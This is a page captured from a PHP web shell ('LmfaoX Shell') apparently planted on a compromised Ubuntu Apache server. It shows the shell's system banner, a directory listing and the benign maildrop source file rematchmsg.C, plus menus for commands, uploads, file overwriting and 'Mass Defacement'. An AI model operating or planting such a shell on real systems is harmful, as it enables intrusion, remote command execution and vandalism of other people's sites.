ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:25.71 GB of 70.42 GB (36.51%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ courier-0.66.1/ maildrop/ - drwxrwxrwx

Directory:
Viewing file:     rematchmsg.C (1.2 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include    "config.h"
#include    "rematchmsg.h"
#include    "message.h"
#include    <ctype.h>


ReMatchMsg::ReMatchMsg(Message *m, int flag, int flag2)
    : msg(m), header_only(flag), mergelines(flag2), eof(0),
    lastc(0), end_headers(0)
{
    start=msg->tell();
}

ReMatchMsg::~ReMatchMsg()
{
}

int ReMatchMsg::CurrentChar()
{
    if (eof)    return (-1);
    return (msg->peek());
}

int ReMatchMsg::NextChar()
{
    if (eof)    return (-1);

int    c;

    for (;;)
    {
        c=msg->get_c();

        if (c < 0)
        {
            eof=1;
            if (lastc != '\n')
            {
                c='\n';
                lastc='\n';
            }
            return (c);
        }

        if (c == '\r')    continue;    // Eat carriage returns.

        if (c == '\n')
        {
        int    nextc=msg->peek();

            if (nextc == '\r' || nextc == '\n')
            {
                if (mergelines)
                    end_headers=msg->tell();
                mergelines=0;
                if (header_only)    eof=1;
                return (c);
            }
            if (mergelines && isspace(nextc))    continue;
        }
        lastc=c;
        return (c);
    }
}

off_t ReMatchMsg::GetCurrentPos()
{
    return (msg->tell());
}

void ReMatchMsg::SetCurrentPos(off_t p)
{
    if (p < msg->tell())    eof=0;
    if ( p < start || p == 0)
    {
        msg->seek(start);
        lastc=0;
    }
    else
    {
        msg->seek(p-1);
        lastc=msg->get_c();
    }
    if (p < end_headers)    mergelines=1;
    if (!mergelines && header_only)    eof=1;
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2832 seconds